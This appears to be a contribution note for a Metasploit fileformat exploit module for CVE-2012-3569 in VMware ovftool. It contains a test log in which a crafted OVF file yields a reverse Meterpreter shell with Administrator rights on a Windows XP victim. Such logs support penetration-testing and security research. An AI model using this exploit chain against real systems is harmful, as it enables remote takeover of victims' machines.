Added module for cve-2012-3569, fileformat version

The resulting file must be parsed by the victim with ovftool:

<pre>
ovftool msf.ovf
</pre>

Test:

```
msf > use exploit/windows/fileformat/ovf_format_string 
msf  exploit(ovf_format_string) > rexploit
[*] Reloading module...

[*] Creating 'msf.ovf'. This files should be opened with VMMWare OVF 2.1
[+] msf.ovf stored at /Users/juan/.msf4/local/msf.ovf
msf  exploit(ovf_format_string) > use exploit/multi/handler 
msf  exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.147:1105) at 2013-02-04 16:49:49 +0100

meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.147 - Meterpreter session 1 closed.  Reason: User exit
msf  exploit(handler) > 

```